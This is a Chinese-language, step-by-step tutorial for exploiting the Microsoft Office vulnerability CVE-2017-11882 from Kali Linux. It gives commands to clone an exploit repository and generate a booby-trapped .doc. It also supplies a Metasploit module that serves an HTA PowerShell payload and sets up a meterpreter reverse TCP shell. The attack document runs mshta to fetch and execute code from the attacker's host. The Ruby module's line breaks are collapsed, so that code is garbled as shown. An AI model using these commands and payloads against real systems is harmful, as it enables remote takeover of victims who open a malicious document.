环境:
kali系统, windows系统
流程:
在kali系统生成利用文件, kali系统下监听本地端口, windows系统打开doc文件,即可中招
第一种利用方式, 适合测试用:
从git下载代码:
git clone https://github.com/Ridter/CVE-2017-11882
执行以下代码, 会在当前目录生成一个doc:
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
会生成一个test.doc文件, 如果有漏洞的电脑打开这个文件, 就会弹出一个计算器;
第二种利用方式, 反弹获得shell:
kali系统准备:
复制以下ruby代码到/usr/share/metasploit-framework/modules/exploits/windows/smb/cve_2017_11882.rb目录(要注意代码缩进哦):
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##class MetasploitModule < Msf::Exploit::RemoteRank = NormalRankinginclude Msf::Exploit::Remote::HttpServerdef initialize(info = {})super(update_info(info,'Name' => 'Microsoft Office Payload Delivery','Description' => %q{This module generates an command to place withina word document, that when executed, will retrieve a HTA payloadvia HTTP from an web server. Currently have not figured out howto generate a doc.},'License' => MSF_LICENSE,'Arch' => ARCH_X86,'Platform' => 'win','Targets' =>[['Automatic', {} ],],'DefaultTarget' => 0,))enddef on_request_uri(cli, _request)print_status("Delivering payload")p = regenerate_payload(cli)data = Msf::Util::EXE.to_executable_fmt(framework,ARCH_X86,'win',p.encoded,'hta-psh',{ :arch => ARCH_X86, :platform => 'win '})send_response(cli, data, 'Content-Type' => 'application/hta')enddef primerurl = get_uriprint_status("Place the following DDE in an MS document:")print_line("mshta.exe \"#{url}\"")end
end
在命令行启动msf的服务:
service postgresql start
再启动msf:
sudo msfconsole
重新加载所有模块:
reload_all
查找我们刚刚新建的cve_2017_11882模块:
search cve_2017_11882
加载这个模块:
use exploit/windows/smb/cve_2017_11882
使用反弹shellcode, 配置本机地址, 配置uri地址
set payload windows/meterpreter/reverse_tcp set lhost 192.168.0.105 set uripath aaaa exploit
生成漏洞利用文件test1.doc
实现使用ifconfig查到当前计算机IP,然后在clone下来的项目下执行以下命令, 当前系统下回生成一个test1.doc文件:
python Command109b_CVE-2017-11882.py -c "mshta http://192.168.0.108/aaaa" -o test1.doc
(注意,aaaa这个名字和msf的 uripath是一样的, 不能乱写)
把生成的test1.doc 放到window系统执行, msf就会返回一个shell
